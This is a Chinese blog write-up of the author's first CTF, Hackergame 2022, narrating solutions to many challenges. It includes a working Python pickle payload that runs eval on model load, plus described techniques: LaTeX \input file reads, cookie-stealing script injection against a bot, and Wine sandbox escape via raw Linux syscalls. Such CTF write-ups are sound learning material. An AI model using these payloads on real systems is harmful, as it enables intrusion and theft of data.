记我的第一次 CTF: Hackergame 2022
October 29, 2022 · 86 min read
建议 Tips
您正在查看印刷版本的博客, 印刷版本的博客可能会缺少部分交互功能, 部分内容显示不全或过时. 如果您在查看该印刷版博客时遇到了任何问题, 欢迎来此链接查看在线版: https://www.kxxt.dev/blog/my-first-ctf-hackergame-2022/
You are viewing a printed version of this blog. It may lack some interactive features and some content might now be fully displayed or outdated. If you encounter any problems while viewing this printed version of the blog, feel free to view the online version here: https://www.kxxt.dev/blog/my-first-ctf-hackergame-2022/
送你一个 Shell 当见面礼(逃
这篇博客的阅读时间估计不对。你并不需要 80 分钟来阅读本文。
个人总结
这是我第一次参加 CTF 比赛,最后混了个 34 名,感觉还不错。曾经就听说过 CTF 这个比赛,不过一直没有进一步了解,也没有参加过。在 Hackergame 2022 开始之前,我所做的准备也只是逛了逛 CTF Wiki, 从 CTFHub 上刷了些 web 题。
最后这个比赛名次对于我这种 CTF 萌新来说还是蛮高的。不过能取得这样一个名次,还是和我平时的积累有很大关系的。虽然我平时并不关注 CTF 相关的内容,但是作为一个可能即将成为程序员的人,我还是一直比较在乎自己编写的代码的安全性的,XSS、提权漏洞、缓冲区溢出这些操作我都是比较熟悉的,不过我一般都是在编写代码时以一种防御性的姿态来避免这些攻击发生在我自己的代码上,这次比赛使我第一次体会到作为攻击者去利用这些漏洞是什么体验。
最近在看 CSAPP,十几天前刚学会了 x86 汇编,没想到就在 flag 自动机那道题里用到了。不过作为日常 Linux 用户而言,好几道题(家目录里的秘密/传达不到的文件)确实只需要一些基础的搜索和再正常不过命令行操作就可以完成。
然而作为一名数学院的学生,我一道正经的数学题都没做出来,实在是有些丢数学院的脸了。(算了,我们专业被开除出数学籍了,统计学算个屁的数学)。
密码学题我连题都看不懂,除了惜字如金第一题我知道该怎么做,但是懒得写了。
量子藏宝图那道题考察了一些需要现学现卖的新知识,出的不是很难,所以我这种混子得以在纸上计算来把 128 - 4 * 8
个 bit 翻译成 12 个字符。
明年我如果还有时间,一定会再次参加 Hackergame 的!
比赛体验
比赛体验极佳。除了
- 有时需要重启到 Windows 系统之外
- 光与影在 Linux + Firefox 下跑起来只有 10 fps,不过误伤大雅
- Killed
(大佬太多了,你们把我从前 30 名里挤出来了)
Write Up Part I
我把 Write Up 分成好几个部分写只是为了防止右边导航栏溢出而已,没别的意思。一个小节里面标题堆得太多了会导致右边导航栏显示不下。
签到
打开签到题,就看到了经典的(对于我这种人工智能相关专业的人而言)手写数字识别。嗯。。。最后一个框倒计时 0 秒,很显然是不可能让你直接手签 2022 过掉的。
为了观察浏览器与服务器数据交流的格式,我手签了一个,点击提交按钮,发现直接跳转到了 http://202.38.93.111:12022/?result=2?5?
那么,我们就可以合理的怀疑 http://202.38.93.111:12022/?result=2022 这个网址能把我们心心念念的 flag 送给我们。果然,flag 就这样到手了。(然鹅此时一血已经被手快的人拿走了)
猫咪问答喵
参加猫咪问答喵,参加喵咪问答谢谢喵。
中国科学技术大学 NEBULA 战队(USTC NEBULA)是于何时成立的喵?
Question
- 中国科学技术大学 NEBULA 战队(USTC NEBULA)是于何时成立的喵?
提示:格式为 YYYY-MM,例如 2038 年 1 月即为 2038-01。
Google 搜索 中国科学技术大学 NEBULA 战队(USTC NEBULA)
喵, 发现第一个结果中提到喵
中国科学技术大学“星云战队(Nebula)”成立于 2017 年 3 月,“星云”一词来自中国科学技术大学 BBS“瀚海星云”,代表同学们对科学技术的无限向往和追求。战队现领队为网络空间安全学院吴文涛老师,现任队长为网络空间安全学院李蔚林、童蒙和武汉。战队核心成员包括了来自网络空间安全学院、少年班学院、物理学院、计算机学院等各个院系的同学,充分体现了我校多学院共建网络空间安全一级学科的特点。战队以赛代练,以赛促学,在诸多赛事中获得佳绩。
所以喵可以确定此题答案为 2017-03
喵.
请问这个 KDE 程序的名字是什么?
Question
- 2022 年 9 月,中国科学技术大学学生 Linux 用户协会(LUG @ USTC)在科大校内承办了软件自由日活动。除了专注于自由撸猫的主会场之外,还有一些和技术相关的分会场(如闪电演讲 Lightning Talk)。其中在第一个闪电演讲主题里,主讲人于 slides 中展示了一张在 GNOME Wayland 下使用 Wayland 后端会出现显示问题的 KDE 程序截图,请问这个 KDE 程序的名字是什么?
提示:英文单词,首字母大写,其他字母小写。
Google 搜索 中国科学技术大学 软件自由日 LUG@USTC
喵,一个来自 Google Groups 网站的搜索结果 中提到喵
往届活动和详细介绍见:https://lug.ustc.edu.cn/wiki/lug/events/sfd
打开此链接可以看到 2022 年 SFD 活动的详细信息喵,表格中有一行
讲者 主题 资料 陶柯宇 闪电演讲:《GNOME Wayland 使用体验:一个普通用户的视角》 Slides
打开 Slides 喵, 在第 15 页可以找到题目所述截图喵。
图片里菜单项里 Configure Kdenlive
很显然写明喵应用程序的名称。
Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少?
Question
- 22 年坚持,小 C 仍然使用着一台他从小用到大的 Windows 2000 计算机。那么,在不变更系统配置和程序代码的前提下,Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少?
提示:格式为 2 位数字的整数。
Google 搜索 Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少
喵。然而第一页上没什么有效信息喵。自然而然想到用英文搜索喵。
谷歌直接把结果加粗丢给咱喵,好耶!
首个变动此行为的 commit 的 hash
Question
- 你知道 PwnKit(CVE-2021-4034)喵?据可靠谣传,出题组的某位同学本来想出这样一道类似的题,但是发现 Linux 内核更新之后居然不再允许 argc 为 0 了喵!那么,请找出在 Linux 内核 master 分支(torvalds/linux.git)下,首个变动此行为的 commit 的 hash 吧喵!
提示:格式为 40 个字符长的 commit 的 SHA1 哈希值,字母小写,注意不是 merge commit。
首先当然要 Clone Linux 的代码仓库喵(这仓库好大喵。。。需要一段时间才能克隆下来喵):
git clone https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
然后在执行了 n 多次 Google 搜索之后喵,kxxt 发现加上搜索条件 site:kernel.org
之后再搜索 CVE-2021-4034
就能在第一个搜索结果中看到相关的 PATCH 喵。
这个 PATCH 改动了 fs/exec.c
这个文件喵。咱喵可以合理的推测对于 CVE-2021-4034
的修复应该发生在这个文件喵(懒的管这个 PATCH 是否被合并了)。
用 VSCode 打开 Linux 仓库喵,等它加载完成喵(等待 Activating Extensions),打开 fs/exec.c
然后在 TIMELINE
面板(应该是 Git Lens 插件的功能)下面用肉眼搜索相关改动喵。
很快就找到了喵。右键复制 Commit ID, 此题就结束了喵。
你知道猫咪在连接什么域名吗?
Question
- 通过监视猫咪在键盘上看似乱踩的故意行为,不出所料发现其秘密连上了一个 ssh 服务器,终端显示
ED25519 key fingerprint is MD5:e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce.
,你知道猫咪在连接什么域名吗?
提示:填写形如 example.com 的二级域名,答案中不同的字母有 6 个。
这道题 kxxt 一开始真的没搜到喵。想要暴搜却发现状态空间太大了,搜不完喵。后来 Google 搜索 public ssh server
点进第一个结果找到了答案喵。
Caution
其实我一开始搜索的时候就找到了这个帖子,不过我当时并没有耐心看完所有的回答喵。当时我看了 Accepted Answer 里没有我想找的东西就把这个 tab 杀掉了。
现在想来看看其他回答也是很有必要的喵,毕竟 Accepted Answer 是提问者采纳的回答,并不是最适合所有人的回答。而且我第一次访问到这个链接的时候甚至都没有注意到第二个回答的 Up Vote 比 Accepted Answer 更多.
想不到吧,sdf.org 除了 ssh server 之外还有 minecraft server (
“网络通”定价为 20 元一个月是从哪一天正式实行的?
Question
- 中国科学技术大学可以出校访问国内国际网络从而允许云撸猫的“网络通”定价为 20 元一个月是从哪一天正式实行的?
提示:格式为 YYYY-MM-DD,例如 2038 年 1 月 1 日,即为 2038-01-01。
这道题目我是真的没有搜出来喵,不过得益于题目的状态空间比较小(一年 365 天,按 10 年算,不也就 3650 种情况喵?),最后我靠暴搜解出了这道题。
话不多喵,直接上脚本喵:
代码很简单喵,我就略过不讲喵。更换年份直接修改脚本就可以喵。最后跑出来是 2003年3月1日喵。真的很搞人心态喵,咱喵从 2015 年一路试到 2003 年才作出来。
喵~
参加猫咪问答喵,参加喵咪问答谢谢喵。
喵喵结束,变回人形喽。
家目录里的秘密
Question
实验室给小 K 分配了一个高性能服务器的账户,为了不用重新配置 VSCode, Rclone 等小 K 常用的生产力工具,最简单的方法当然是把自己的家目录打包拷贝过去。
但是很不巧,对存放于小 K 电脑里的 Hackergame 2022 的 flag 觊觎已久的 Eve 同学恰好最近拿到了这个服务器的管理员权限(通过觊觎另一位同学的敏感信息),于是也拿到了小 K 同学家目录的压缩包。
然而更不巧的是,由于 Hackergame 部署了基于魔法的作弊行为预知系统,Eve 同学还未来得及解压压缩包就被 Z 同学提前抓获。
为了证明 Eve 同学不良企图的危害性,你能在这个压缩包里找到重要的 flag 信息吗?
公益广告:题目千万条,诚信第一条!解题不合规,同学两行泪。
解压缩之后直接搜索 flag
, 第一个 flag
就有了,非常简单。
然后打开 rclone 的配置文件 user/.config/rclone/rclone.conf
:
[flag2]type = ftphost = ftp.example.comuser = userpass = tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ
发现 pass
是一个晦涩难懂的字符串,我们可以断定 flag2 就藏在这段密码里。
然后搜索 Google 搜索 decrypt rclone passwd in config
, 点进第一个搜索结果。
帖子里提到了密码是用一个死密钥加密的,所以我们能够对它进行解密,同时作者也给出了一段破解密码的 golang 程序和 Go Playground 链接。
The password that is saved on
crypt
remotes on~/.config/rclone.conf
is encrypted with a hardcoded key, therefore it can be recovered.I’ve copied some code from the rclone source tree and added a line to make it easier for people to run it.
Just go to
https://play.golang.org/p/IcRYDip3PnE
and replace the stringYOUR PSEUDO-ENCRYPTED PASSWORD HERE
with the actual password that is written in your~/.config/rclone.conf
file, then click “Run”.
那 我们把加密(或者说混淆)过的密码输入到里面,运行代码,就得到了 flag。
吐槽:你们 Go Playground 怎么不带语法高亮啊!!!!!!我眼睛要瞎了🫠🫠🫠🫠🫠🫠
HeiLang
Question
来自 Heicore 社区的新一代编程语言 HeiLang,基于第三代大蟒蛇语言,但是抛弃了原有的难以理解的 |
运算,升级为了更加先进的语法,用 A[x | y | z] = t
来表示之前复杂的 A[x] = t; A[y] = t; A[z] = t
。
作为一个编程爱好者,我觉得实在是太酷了,很符合我对未来编程语言的想象,科技并带着趣味。
我们直接写一个脚本将 Heilang 的玄学语法转换成正常 Python 语法, 然后运行转换后的脚本就得到了 flag:
Xcaptcha
题目懒的贴了。
捕获几个网络请求能看出来要计算的数字在 html 里,用 htmlq
提取出来应该很方便。高精度?果断上 Python!
失败的尝试
嗯,这不就是一秒内完成三个高精度整数加法的事,这还难得到我?于是就有了下面的 Python 脚本和 bash 混合编程
WoC!怎么TLE了???我明明没有超时呀???于是 kxxt 就被卡(qia, 三声)在这里很久
修正
后来我用 httpie
手动和题目交互,发现原来是 GET 请求有对 Cookie 做修改。而我之前一直用的从浏览器里复制出来的 Cookie 😢😭😓。
然后就直接把所有逻辑都写在 Python 里了,因为把新 Cookie 传给 Python 不是很方便:
这不,flag 到手了,也没有那么麻烦吗。。。。
旅行照片 2.0(照片分析)
丢给一个在线 EXIF 信息查看器就能得到答案。 推荐:https://exifdata.com/
从众多小米手机的图像中浏览了一番,发现是红米 Note 9: https://www.wikiwand.com/zh-hans/Redmi_Note_9
不过航班我是真的不会找。日本上空这么多航班,我怎么知道是哪一个???(也没找到免费的能看五月份航班数据的网站)
猜数字
一打开 GuessNumber.jvav
, 一股“企业级”应用开发的味道便扑面而来。
首先是一屏 import
s
然后又是大大的面向对象的 GuessNumber
类. 还有为什么要用三个空格缩进。。。
我们在 State
类的 collect
方法 (你可以把鼠标放在加下划虚线的文字上或者触摸它们,kxxt 会自动给您高亮相关代码)和 update
方法中可以发现一个致命的漏洞:
它们判断一个数和被猜数字是否相等的逻辑是:如果这个数既不大于被猜数也不小于被猜数,那么就通过。
然而,众所周知,NaN
既不大于任何一个数,也不小于任何一个数。所以我们把 NaN
交上去就过了。
万恶的网页交不了 NaN
. 欺负我在用手机做题是吧?我掏出了 termux, 熟练的使用 pip
安装了 httpie
。然后左一个 POST
右一个 GET
就把它干掉了。
Write Up Part II
这里放段字,防止两个标题挨得太近出 Bug
LaTeX 机器人
Question
在网上社交群组中交流数学和物理问题时,总是免不了输入公式。而显然大多数常用的聊天软件并不能做到这一点。为了方便大家在水群和卖弱之余能够高效地进行学术交流,G 社的同学制作了一个简单易用的将 LaTeX 公式代码转换成图片的网站,并通过聊天机器人在群里实时将群友发送的公式转换成图片发出。
这个网站的思路也很直接:把用户输入的 LaTeX 插入到一个写好头部和尾部的 TeX 文件中,将文件编译成 PDF,再将 PDF 裁剪成大小合适的图片。
“LaTeX 又不是被编译执行的代码,这种东西不会有事的。”
物理出身的开发者们明显不是太在意这个网站的安全问题,也没有对用户的输入做任何检查。
那你能想办法获得服务器上放在根目录下的 flag 吗?
纯文本
第一个 flag 位于 /flag1
,flag 花括号内的内容由纯文本组成(即只包含大写小写字母和数字 0-9)。
特殊字符混入
第二个 flag 位于 /flag2
,这次,flag 花括号内的内容除了字母和数字之外,还混入了两种特殊字符:下划线(_
)和井号(#
)。你可能需要想些其他办法了。
flag1
flag1 很简单,直接用 \input
宏把 /flag1
文件读进来就行。
花括号被 吃掉了,填 flag 的时候自己补上就行。
flag2
flag2 卡了我很久。后来 Google 搜索 latex raw text
得到的第一个结果 中提到了一个定义新的 environment 使得 $
, &
, #
, ^
, _
, ~
, %
这些特殊字符能够被显示出来的方法。
根据 base.tex
, latex_to_image_converter.sh
的内容,我们可以确定加入了我们的输入之后 tex
文件的样子:
那么我们把下面的 payload 交给 机器人就可以得到 flag2(可怜的花括号还是照样会被吃掉。。。)
Flag 的痕迹
Question
小 Z 听说 Dokuwiki 配置很简单,所以在自己的机器上整了一份。可是不巧的是,他一不小心把珍贵的 flag 粘贴到了 wiki 首页提交了!他赶紧改好,并且也把历史记录(revisions)功能关掉了。
「这样就应该就不会泄漏 flag 了吧」,小 Z 如是安慰自己。
然而事实真的如此吗?
(题目 Dokuwiki 版本基于 2022-07-31a “Igor”)
从自己电脑上运行一个 Dokuwiki 复现一下小 Z 的操作。
mkdir wiki && docker run -d \ --name=dokuwiki \ -e PUID=1000 \ -e PGID=1000 \ -e TZ=Europe/London \ -p 8080:80 \ -v "$(pwd)/wiki":/config \ --restart unless-stopped \ lscr.io/linuxserver/dokuwiki:latest
然后进 localhost:8080 编辑首页,再做第二次编辑
我们 进入到 revisions 页面,发现它有一个 diff 功能,可以显示改动,而且右边有一个链接 Link to this comparison view
, 点击之后 url 里的 do=revisions
变成了 do=diff
。我们可以合理的怀疑小 Z 的 Dokuwiki 没有关掉 diff 功能。我们直接访问 http://202.38.93.111:15004/doku.php?id=start&do=diff 发现我们能够看到小Z 作出的历史改动,便拿到了 flag。
安全的在线测评
Question
传说科大新的在线测评系统(Online Judge)正在锐意开发中。然而,新 OJ 迟迟不见踪影,旧的 OJ 和更旧的 OJ 却都已经停止了维护。某 2022 级计算机系的新生小 L 等得不耐烦了,当即表示不就是 OJ 吗,他 10 分钟就能写出来一个。
无法 AC 的题目
为了验证他写的新 OJ 的安全性,他决定在 OJ 上出一道不可能完成的题目——大整数分解,并且放出豪言:只要有人能 AC 这道题,就能得到传说中的 flag。当然,因为目前 OJ 只能运行 C 语言代码,即使请来一位少年班学院的天才恐怕也无济于事。
动态数据
为了防止数据意外泄露,小 L 还给 OJ 加入了动态数据生成功能,每次测评会随机生成一部分测试数据。这样,即使 OJ 测试数据泄露,攻击者也没办法通过所有测试样例了吧!(也许吧?)
判题脚本:下载
你可以通过 nc 202.38.93.111 10027
来连接题目,或者点击下面的 “打开/下载题目” 按钮通过网页终端与远程交互。
无法 AC 的题目
阅读 online_judge.py
可以发现 OJ 最终使用 runner
账户来运行我们的代码。然而它只把动态数据的输入输出文件的权限改成了 700,却(故意)忘记把 static.out
的权限改成 700 了。
于是我们可以直接一个 cat
过掉静态数据。
动态数据
再仔细阅读一下 OJ 的代码,发现它并没有用 runner
账户来编译我们的代码。所以如果我们的代码能在编译期把答案都读进来,我们就能过掉这道题了。
可是,dynamic{i}.out
文件里存了两个高精大整数,我直接把她们 #include
进来的话是会出编译错误的呀!
诶?编译错误!我为什么不能直接 #include "../flag.py"
然后靠编译器的错误输出拿到 flag 呢?
草,出题人还是想到了这一点的。你看他在 flag.py
的第三行放了个假 flag 来嘲讽你。
那嘛,我该怎么办呢?
后来我从 StackOverflow 上找到了一条汇编指令 .incbin
(那条回答有点惨,只有一个 upvote,也就是说没人给它点过upvote)
下面代码里的 gcc_header
是这个 StackOverflow 帖子里提到的动态 #include
文件的一个方法。
为了惜字如金,我定义了一大堆宏来简化代码。
Hint
下面是一个 Code Hike 的 Scrollycoding
组件,为了获得更好的阅读体验,我建议您在较大的屏幕上查看。
如果您觉得右侧的目录树占用了较大的空间,您可以点击 TABLE OF CONTENTS
来隐藏/显示右侧的目录树(目录树暂时不会在小屏设备上显示,其实理论上在小屏设备上目录应该显示在文章开头,但是我太懒了,还没做,还请移动端用户多多包容🥹🥹🥹🥹)。
在大屏设备上,您可以点击各个步骤的内容,kxxt 会自动给您更新右侧的代码。
Step 1
我们先定义 gcc_header
宏。这个宏的作用是把 gcc_header(i)
转化成字符串 "data/dynamici.out"
. 如果你看不懂这个宏在干什么,可以回去复习一下 C 语言。
Warning
不要用 VSCode 的格式化文档功能,格式化文档会在 data/dynamic
的分隔符两边加上空格导致编译失败。
Step 2
然后我们定义把答案文件包括进来的宏 var_start
和 var_end
.
var_start
利用汇编的.incbin
指令把答案文件data/dynamicx.out
作为二进制文件包括到编译结果中.- 除此之外,
var_start
还在汇编中为包括进来的数据的起始地址添加了标签outx
- 注意:因为文件是作为二进制包括进来的,所以文件末尾并不以
'\0'
结尾。 - 所以我们定义
var_end
宏来补上一个 0 字节。
Step 3
- 然后我们定义一个定义
external
变量的宏,她的作用就是告诉 C 语言我们在别处定义了一个名字叫outx
的char
数组。 - 我们再定义
include_str
宏,它将完成嵌入答案文件和声明外部变量的工作合二为一 - 然后就运行宏呗。没啥好讲的
Step 4
- 照例,引入库文件
- 声明个数组做缓冲区
- 我管它会不会溢出呢,死去的 OJ 又不会跳起来攻击我的代码
Step 5
- 终于到了
main
函数了 - 我们的程序需要保存一个状态,记录我们接下来要输出那个文件
- 所以我们就把接下来要输出的文件的标号存到
./temp/dsa
这个文件里。 - 如果没有这个文件,我们就输出静态数据的答案并将
0
写入状态文件
Step 6
- 若状态文件存在,我们就读入状态
- 然后把下一个状态写入状态文件
Last Step
- 我们定义一个宏来惜字如金,减少代码字数
- 用一个
switch
statement 来输出动态数据对应的答案 - 撒花 🎉 , 完结
完整代码
- 桌面端用户 点我显示完整代码。
- 当然你也可以点击代码块右上角的按钮
Step 1
我们先定义 gcc_header
宏。这个宏的作用是把 gcc_header(i)
转化成字符串 "data/dynamici.out"
. 如果你看不懂这个宏在干什么,可以回去复习一下 C 语言。
Warning
不要用 VSCode 的格式化文档功能,格式化文档会在 data/dynamic
的分隔符两边加上空格导致编译失败。
Step 2
然后我们定义把答案文件包括进来的宏 var_start
和 var_end
.
var_start
利用汇编的.incbin
指令把答案文件data/dynamicx.out
作为二进制文件包括到编译结果中.- 除此之外,
var_start
还在汇编中为包括进来的数据的起始地址添加了标签outx
- 注意:因为文件是作为二进制包括进来的,所以文件末尾并不以
'\0'
结尾。 - 所以我们定义
var_end
宏来补上一个 0 字节。
Step 3
- 然后我们定义一个定 义
external
变量的宏,她的作用就是告诉 C 语言我们在别处定义了一个名字叫outx
的char
数组。 - 我们再定义
include_str
宏,它将完成嵌入答案文件和声明外部变量的工作合二为一 - 然后就运行宏呗。没啥好讲的
Step 4
- 照例,引入库文件
- 声明个数组做缓冲区
- 我管它会不会溢出呢,死去的 OJ 又不会跳起来攻击我的代码
Step 5
- 终于到了
main
函数了 - 我们的程序需要保存一个状态,记录我们接下来要输出那个文件
- 所以我们就把接下来要输出的文件的标号存到
./temp/dsa
这个文件里。 - 如果没有这个文件,我们就输出静态数据的答案并将
0
写入状态文件
Step 6
- 若状态文件存在,我们就读入状态
- 然后把下一个状态写入状态文件
Last Step
- 我们定义一个宏来惜字如金,减少代码字数
- 用一个
switch
statement 来输出动态数据对应的答案 - 撒花 🎉 , 完结
完整代码
- 桌面端用户点我显示完整代码。
- 当然你也可以点击代码块右上角的按钮
线路板
Question
中午起床,看到室友的桌子上又多了一个正方形的盒子。快递标签上一如既往的写着:线路板。和往常一样,你“帮”室友拆开快递并抢先把板子把玩一番。可是突然,你注意到板子表面似乎写着些东西……看起来像是……flag?
可是只有开头的几个字母可以看清楚。你一时间不知所措。
幸运的是,你通过盒子上的联系方式找到了制作厂家,通过板子丝印上的序列号查出了室友的底细,并以放弃每月两次免费 PCB 打样包邮的机会为代价要来了这批带有 flag 的板子的生产文件。那这些文件里会不会包含着更多有关 flag 的信息呢?
随意用文本编辑器打开一个 gbr
文件,发现它是由 KiCad
生成的。
于是我就用 pacman
装了个 KiCad, KiCad 的 Gerber Viewer 可以查看这些文件。
选择文件菜单,Open Gerber Job File...
, 打开题目给的那个 gbrjob
文件.
然后我们确定 flag 图案在哪一层上,把不需要的层隐藏。
嗯,我们还是没能看到心心念念的 flag. 直觉告诉我这堆遮挡物体是用画图指令覆盖上去的,只要我把它们去掉,再打开这个文件,我就能看到 flag.
经过几次尝试,下面的修改成功使 flag 显示了出来。
然后就顺利的拿到 flag 了 (这 flag 不就是相当于白送吗。。。)
Flag 自动机
Question
Hackergame 2022 组委会为大家搬来了一台能够自动获取 flag 的机器。然而,想要提取出其中的 flag 似乎没那么简单……
额。。。解压之后我获得了一个 Windows exe… 然而我身为骄傲的 Arch Linux 用户(好吧,其实是衍生的发行版 Garuda Linux)怎么去运行/调试它呢?我我我。。。。直接按下电源键重启到 Windows 11.
运行 flag_machine.exe
发现组委会为大家搬来了一台能够自动获取 flag 的机器。然而鼠标点不到 “狠心夺取” 按钮。那怎么办呢?我的第一反应是直接给窗口发送点击事件,于是便有了下面的 python 代码。
然而狡猾的组委会会让你这么容易的拿到 flag 吗?当然不会。
于是我就掏出了吃灰多年的 IDA Free, 加载 flag_machine.exe
, 点击运行按钮。
呃呃呃呃呃呃呃呃。。。 程序直接退出了。这程序还带反调试的???
那我就先启动程序,再通过 attach to process 菜单项把 IDA 调试器附加到正在运行的 flag_machine.exe
上。
稍微看一下汇编能发现一点有意思的东西,比如 rdata
段里有 flag_machine.txt
这段文字。可惜 flag 本身并没有被明文存储在 rdata
段里。
然后我们再来找一下程序在哪里调用了 Windows 的 GetMessageA
函数接收窗口的事件消息。
发现这个库函数只在 sub_401A2C
中被调用。那么,sub_401A2C
或许就是我们取得 flag 的关键了。
然而跳过去一看并没有什么值得关注的东西。。。
那么就来关注一下程序在那里调用了 fopen
吧,我盲猜程序会把 flag 写到 flag_machine.txt
这个文件里。
果然,调用 fopen
的那段代码同时还会弹窗显示 Congatulations
祝贺我们。那么这就是我们获得 flag 的关键。
切到 Graph View 来康康这个子过程(红框标出了我们要跳转到的目标代码):
从第一个块的最后一行条件跳转那里加一个断点,从这个子过程负责的任务来看,程序是肯定会命中这个断点的。
把程序窗口切到前台,程序命中断点之后,我们让程序直接执行红框位置代码:
然后取消断点,让程序继续执行,我们就能在 flag_machine.txt
里找到 flag 了。
微积分计算小练习
Question
小 X 作为某门符号计算课程的助教,为了让大家熟悉软件的使用,他写了一个小网站:上面放着五道简单的题目,只要输入姓名和题目答案,提交后就可以看到自己的分数。
想起自己前几天在公众号上学过的 Java 设计模式免费试听课,本着前后端离心(咦?是前后端离心吗?还是离婚?离。。离谱?总之把功能能拆则拆就对啦)的思想,小 X 还单独写了一个程序,欢迎同学们把自己的成绩链接提交上来。
总之,因为其先进的设计思想,需要同学们做完练习之后手动把成绩连接贴到这里来:
读一下程序,发现 bot 会把 flag 放到 document.cookie
里面。
最后 bot 会把 greeting
和 score
两个元素内的文本内容输出出 来。
所以我们需要构造一个脚本注入,把其中一个元素替换成 document.cookie
的内容。
然后网页上可以注入的地方只有姓名一栏。写了个简单的 payload 就过了.
杯窗鹅影
Question
说到上回,小 K 在获得了实验室高性能服务器的访问权限之后就迁移了数据(他直到现在都还不知道自己的家目录备份被 Eve 下载了)。之后,为了跑一些别人写的在 Windows 下的计算程序,他安装了 wine 来运行它们。
「你用 wine 跑 Windows 程序,要是中毒了咋办?」
「没关系,大不了把 wineprefix 删了就行。我设置过了磁盘映射,Windows 程序是读不到我的文件的!」
但果真如此吗?
为了验证这一点,你需要点击「打开/下载题目」按钮,上传你的程序实现以下的目的:
/flag1
放置了第一个 flag。你能给出一个能在 wine 下运行的 x86_64 架构的 Windows 命令行程序来读取到第一个 flag 吗?/flag2
放置了第二个 flag,但是需要使用/readflag
程序才能看到/flag2
的内容。你能给出一个能在 wine 下运行的 x86_64 架构 的 Windows 命令行程序来执行/readflag
程序来读取到第二个 flag 吗?
flag1
Google 搜索 read linux host file in wine
, 点进第一个来自 StackExchange 的搜索结果, 回答的评论里提到了 Wine 中的程序仍然可以使用 Linux 系统调用。
Wine is not a sandbox – a program can use Linux syscalls to interact with the rest of the system bypassing Wine, although this is unlikely to happen unless the program was intentionally written to do that.
那就把系统调用写到内联汇编里吧。(交叉编译用不了 linux 的头文件)
不就是写两个系统调用嘛,一个 open
打开文件,一个 read
读取文件。
x86_64-w64-mingw32-gcc read.c
把 a.exe
交上去,果然过了。
flag 里提到了 directory_traversal
, 可能我的做法不是预期做法。
flag2
flag1 拿得到,flag2 其实就更简单了,甚至就只需要一个 execve
系统调用就可以做到。
Write Up Part |||
这里也要放段字,防止两个标题挨得太近出 Bug。跪求大佬给我发个 PR 修 Bug。
诶。。。你有没有注意到这次标题好像和前两个有点不一样啊。。
二次元神经网络
Question
天冷极了,下着雪,又快黑了。这是一年的最后一天——大年夜。在这又冷又黑的晚上,一个没有 GPU、没有 TPU 的小女孩,在街上缓缓地走着。她从家里出来的时候还带着捡垃圾捡来的 E3 处理器,但是有什么用呢?跑不动 Stable Diffusion,也跑不动 NovelAI。她也想用自己的处理器训练一个神经网络,生成一些二次元的图片。
于是她配置好了 PyTorch 1.9.1,定义了一个极其简单的模型,用自己收集的 10 张二次元图片和对应的标签开始了训练。
SimpleGenerativeModel( (tag_encoder): TagEncoder( (embedding): Embedding(63, 8, padding_idx=0) ) (model): Sequential( (0): Linear(in_features=16, out_features=8, bias=True) (1): ReLU() (2): Linear(in_features=8, out_features=8, bias=True) (3): ReLU() (4): Linear(in_features=8, out_features=64 * 64 * 3, bias=True) (5): Tanh() ))
她在 CPU 上开始了第一个 epoch 的训练,loss 一直在下降,许多二次元图片重叠在一起,在向她眨眼睛。
她又开始了第二个 epoch,loss 越来越低,图片越来越精美,她的眼睛也越来越累,她的眼睛开始闭上了。
…
第二天清晨,这个小女孩坐在墙角里,两腮通红,嘴上带着微笑。新年的太阳升起来了,照在她小小的尸体上。
人们发现她时才 知道,她的模型在 10 张图片上过拟合了,几乎没有误差。
(完)
听完这个故事,你一脸的不相信:「这么简单的模型怎么可能没有误差呢?」,于是你开始复现这个二次元神经网络。
初始想法
嗯,我身为一个人工智能相关专业的学生。如果做不出这道题,岂不是太丢脸了。
题目的标签有些奇怪。不过我想了想,神经网络当然也是网络了,打个 Web 标签也不是不可以吗(笑
打开 infer.py
可以看到几个值得注意的地方:
torch.manual_seed(0)
把随机数种子给定死了,我们在训练的时候直接使用这个种子生成出来的第一个噪声就可以,原始训练脚本在每个 epoch 里都去生成噪声对于做这道题而言是有害的。- 题目最后是拿
max loss
来衡量我们模型好坏的,但是我们在模型训练的时候却是用的average loss
来衡量模型的好坏。
Danger
对于 torch.manual_seed(0)
而言,在 GPU 上生成的随机数和在 CPU 上生成的随机数是不同的。这是一个很大的坑。我把我训练了一段时间的模型交上去的时候才发现这个问题。你需要在 CPU 上生成随机数然后再把它复制到 GPU 上。(然而浪费的算力和碳排放已经无法挽回了。不过给这道题训练模型本身就不值得
然后我就把这几点不足之处都修正了,改成 GPU 训练,调了半天超参,最后也没能把 max loss
给降到 0.0005
. 啊对,我还换了几次优化器,一通魔改,最后发现效果都不如 AdamW
好。
失败的尝试
后来想了想,可能需要构造一个模型来实现 RCE. 毕竟模型的加载是不安全的。 pytorch 内部使用不安全的 pickle
来加载模型。
那么,我们直接把答案JSON 文件 print
出来不就完了。但是 pytorch 接下来会报错,那我就直接调用 sys.exit
退出程序呗。
直接把 JSON 贴进 Python 程序里不可行,还要再转义,于是我直接又给它套了一层 base64.
import pickleclass Exploit: def __reduce__(self): return (eval, (r"(print(__import__('base64').urlsafe_b64decode('BASE64串').decode()),__import__('sys').exit(0))[0]",))with open("data.pt", "wb") as f: data = Exploit() pickle.dump(data, f)
然后本地运行成功了。但是交上去却报错了。我还发了个邮件问组委会,得到的回答是:
经过确认,题目环境没有问题,您目前的 payload 得到这样的提示是预期的。祝 参赛愉快。
我左思右想也没想出为什么。于是我写了一个更加 hacky
的版本来过掉这道题。
比赛结束之后看了别人的 Write Up 我才知道是要把结果写到 result.json
里面去。我一直以为只要像 infer.py
结尾那样把它 print
出来就行。
成功拿到 flag
这是一个非常 Hacky 的版本。
- 它不会让
infer.py
异常退出 pytorch
会正常的,顺利的加载模型infer.py
会看似正常的调用我们的模型- 总体而言,我们没有改变
infer.py
的执行流程
首先,我们把原来的模型解包,得到 archive
文件夹,其中有一个 data.pkl
存储了状态字典,data.pkl
内引用了压缩包里的其他几个文件。
我们先构造一段填充合法权重的代码:
得到
